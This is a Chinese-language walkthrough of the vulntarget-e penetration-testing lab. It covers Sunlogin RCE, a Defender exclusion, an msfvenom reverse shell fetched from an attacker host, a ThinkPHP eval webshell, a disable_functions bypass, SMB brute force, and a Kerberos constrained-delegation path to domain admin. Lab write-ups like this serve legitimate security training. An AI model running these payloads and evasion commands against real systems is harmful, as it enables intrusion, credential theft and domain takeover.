vulntarget-e
虚拟机网络配置:
拓扑图:
信息搜集
扫描存活主机和端口
这里外网win2016靶机有开防火墙,所以需要加个-d参数绕过防火墙进行端口扫描,但是这里扫的时候出了点问题,不过多试几次也能扫出来开放了5985端口(WinRM服务)和49773端口
后面发现这样来扫会更快
1 | nmap -sC -sV -p- 192.168.150.137 -n -vv --min-rate=2000 |
其中49773端口不知道是开着什么服务
扫目录也没发现啥有用信息
接着利用指纹识别工具**observer_ward**扫一下发现是向日葵服务(第一次使用的话使用-u 参数从指纹库中更新指纹

漏洞利用
可以利用前段时间爆出来的向日葵远程rce漏洞,通过工具**sunRce**进行命令执行

查看防火墙状态发现是打开的,于是通过命令执行将其关闭
1 | ./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall show allprofile state" -t rce |

再执行命令tasklist /svc发现开着Defender,并命令执行将其关闭,但是它实时保护还是开着,上传的木马还是会被df杀掉
1 | ./sunRce -h 192.168.150.137 -p 49773 -c "tasklist /svc" -t rce |

所以我们可以制作免杀马或者通过powershell的这条语句执行策略绕过
1 | ./sunRce -h 192.168.150.137 -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"" -t rce |

msf生成木马并开启web服务
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > test.exe |
下载文件并执行
1 | ./sunRce -h 192.168.150.137 -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.150.128/test.exe','C:\Users\Administrator\test.exe')" -t rce |

msf成功上线
1 | use exploit/multi/handler |

进入后信息收集一波

在桌面发现需要测试的地址.txt


然后这里猕猴桃抓密码还是没结果

根据上次的经验,我们将进程迁移到x64位上去

再执行一下即可获取到密码


普通用户的话可以抓下来本地用mimikatz读取
1 | reg save hklm\sam sam.hive |
也可以通过cs生成木马来实现上线


信息收集


利用hashdump或者猕猴桃抓取密码

最后解码得到管理员和普通用户密码:administrator/win2008;ash/qweASD123


在桌面找到文件需要测试的地址.txt

portscan扫描发现192.168.100.131,存在22、80、3333、8888端口,可以知道用了宝塔

内网渗透
上传frp客户端建立代理

1 | ./frps -c ./frps.ini |

1 | frpc.exe -c ./frpc.ini & |

通过msf查看浏览器的历史记录
1 | run post/windows/gather/forensics/browser_history |

用sqllite打开它,执行如下语句,可以发现几个有用的路径信息
1 | select url from moz_places |

但是访问都是报400

这时候回想起前面我们dump下来的需要测试的地址.txt,猜测应该要host碰撞
通过工具**hostscan**可以发现192.168.100.131对应的域名地址是www.cJO6w10YLS.com

然后修改一下host头可以发现是thinkphp 5.0

搜一下这个版本的漏洞看到有个5.X的rce
尝试发现system会被宝塔拦截,不过eval没有被ban,可以用eval写马
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |

phpinfo也会被拦,还可以通过file_put_contents写文件,但是当前的目录没有权限不可写,需要目录穿越到根目录下

通过三次url编码的加密成功写入
1 | ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E |

然后蚁剑连接时还需要编写一下蚁剑的编码规则以及host即可成功连接
1 | 'use strict'; |



连上后发现命令都是不可执行的,说明存在disable_function

这里我们可以使用**php7-gc-bypass**绕过disable_function并执行系统命令

信息收集发现还有个192.168.88.100的网卡

在/home/vulntarget路径下发现了key文件,将其dump下来


前面扫端口的时候就发现开放了ssh,所以尝试使用key连接ssh,最终尝试使用root成功登录

关闭防火墙
1 | # 关闭防火墙 |

上传fscan扫一下内网,发现主机192.168.88.102开放了135、445、1433端口,存在SQL server服务

通过工具hydra爆破smb得到账号密码:administrator/admin@123
1 | hydra -L user.txt -P pass.txt 192.168.88.102 smb |

通过工具**wmiexec.py**远程执行成功上线

信息搜集发现还有个10.0.10的网卡

发现存在域vulntarget.com

关闭防火墙
1 | netsh advfirewall set allprofiles state off |
然后使用下面的命令打开3389端口
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f |
成功进入远程桌面

约束性委派攻击
上传mimikatz、ADFind、kekeo,探测win2008是否存在约束委派
mimikatz获取密码:win2008/qweASD123
1 | # 提升权限 |

查找约束性委派主机,可以发现存在约束委派
1 | # 约束委派的查找 |

1 | # 清除票据缓存 |
已经知道服务用户明文的条件下,可以使用kekeo请求win2008的TGT
1 | # 请求该用户的TGT |

利用mimikatz导入S4U2proxy阶段生成的ST
1 | kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi |

dir访问域控
1 | dir \\WIN-1PV25H8UJPN.vulntarget.com\C$ |

然后net user添加一个域用户,并加入到域管理员中
1 | net user admin123 admin@1234 /add /domain |
最后使用wmiexec远程执行成功上线

后面维权可以看这篇文章





